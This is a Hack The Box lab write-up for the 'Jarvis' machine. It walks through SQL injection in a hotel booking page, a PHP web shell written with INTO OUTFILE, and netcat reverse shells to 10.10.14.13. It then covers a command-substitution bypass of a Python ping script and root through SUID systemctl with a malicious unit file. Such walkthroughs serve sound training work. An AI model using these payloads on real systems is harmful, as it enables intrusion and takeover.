Jarvis

tags: HTB Medium Linux OSCP
Platform: Hackthebox
Difficult: Medium
S.O.: Linux

Enumeration

Nmap

To get started, we run a quick open ports scan.

$ nmap -p- -T4 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-06 19:03 CEST
Nmap scan report for 10.10.10.143
Host is up (0.094s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
64999/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 95.70 seconds

Now that we know the open ports, let's scan them in depth.

$ nmap -A -Pn -p 22,80,64999 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-06 19:06 CEST
Nmap scan report for 10.10.10.143
Host is up (0.094s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn´t have a title (text/html).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.13 (94%), Linux 3.16 (94%), Linux 4.2 (94%), Linux 3.18 (93%), Linux 4.8 (93%), Linux 4.9 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   94.51 ms 10.10.14.1
2   94.55 ms 10.10.10.143

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.03 seconds

Port 80

In the header of the page we can see a domain name supersecurehotel.htb so we add it to our /etc/hosts file.

Now if we click on Rooms and then on Book Now! In any room it will take us to a URL with the parameter cod on which if we add a quote ' we can see that it does not show result so perhaps we can inject SQL.

Exploitation

SQL Injection

Well testing one by one now we know that the table has 7 columns and that we can see the result of columns 2, 3, 4 and 5.

http://supersecurehotel.htb/room.php?cod=-1+UNION+SELECT+1,2,3,4,5,6,7--+-

Now we are going to see what tables there are and what columns the table has.

http://supersecurehotel.htb/room.php?cod=-1+UNION+SELECT+1,2,3,4,group_concat(DISTINCT%20table_name+SEPARATOR+%27%3Cbr%3E%27),6,7+FROM+information_schema.tables--+-

And we get this list

room

We are going to list the columns of the room table.

http://supersecurehotel.htb/room.php?cod=-1+UNION+SELECT+1,2,3,4,group_concat(DISTINCT%20column_name+SEPARATOR+%27%3Cbr%3E%27),6,7+FROM+information_schema.columns+where+table_name+=+%27room%27--+-

Nothing interesting...

cod
name
price
descrip
star
image
mini

SQL Injection to RCE

We will try to get RCE

http://supersecurehotel.htb/room.php?cod=-1+UNION+SELECT+null,null,null,null,null,null,%22%3C?php%20system($_GET[%27cmd%27]);%20?%3E%22+into+outfile+%22/var/www/html/x4v1l0k.php%22--+-

And we have RCE!

$ curl http://supersecurehotel.htb/x4v1l0k.php?cmd=id
\N  \N  \N  \N  \N  \N  uid=33(www-data) gid=33(www-data) groups=33(www-data)

And now, it's time to get a shell.
With a terminal listening, we run our shell on the RCE.

$ curl http://supersecurehotel.htb/x4v1l0k.php?cmd=nc+10.10.14.13+8787+-e+/bin/bash
$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.143] 47152
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Post exploitation

Privilege escalation: www-data to pepper

Sudo

[email protected]:/var/www/html$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

Let's see the content of the script.

#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es

***********************************************
''')

def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()

    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1

    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req

def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
    return month_dict[name]

def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

If we look at the ping function, it prevents us from concatenating commands using:

forbidden = ['&', ';', '-', '`', '||', '|']

But it does not prevent us from executing embedded commands 😄
We are going to create a script that runs a reverse shell.

[email protected]:/var/www/html$ echo -e "nc 10.10.14.13 8788 -e /bin/bash" > /tmp/shell.sh 
[email protected]:/var/www/html$ chmod 777 /tmp/shell.sh

And now with a terminal listening, we are going to execute the script passing it our payload.

[email protected]:/var/www/html$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es

***********************************************

Enter an IP: $(/tmp/shell.sh)
$ nc -lnvp 8788
listening on [any] 8788 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.143] 37966
id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
[email protected]:~$ cat user.txt
CENSORED_FLAG

Privilege escalation: pepper to root

SUID

[email protected]:~$ find / -perm /4000 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

Oops, systemctl has SUID.

We can follow the steps indicated by GTFOBins to execute commands as root and thus execute a shell.

[email protected]:~$ TF=$(mktemp).service
[email protected]:~$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "nc 10.10.14.13 8789 -e /bin/bash"
> [Install]
> WantedBy=multi-user.target' > $TF
[email protected]:~$ systemctl link $TF
Created symlink /etc/systemd/system/tmp.CfyXsquGwP.service → /tmp/tmp.CfyXsquGwP.service.

Now with a terminal listening, we activate the created service.

[email protected]:~$ systemctl enable --now $TF
Created symlink /etc/systemd/system/multi-user.target.wants/tmp.CfyXsquGwP.service → /tmp/tmp.CfyXsquGwP.service.
$ nc -lnvp 8789
listening on [any] 8789 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.143] 54072
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
CENSORED_FLAG

I have to admit that I really enjoyed this box! And it seems that I have had more luck than Ultron and I have managed to take control of Jarvis completely!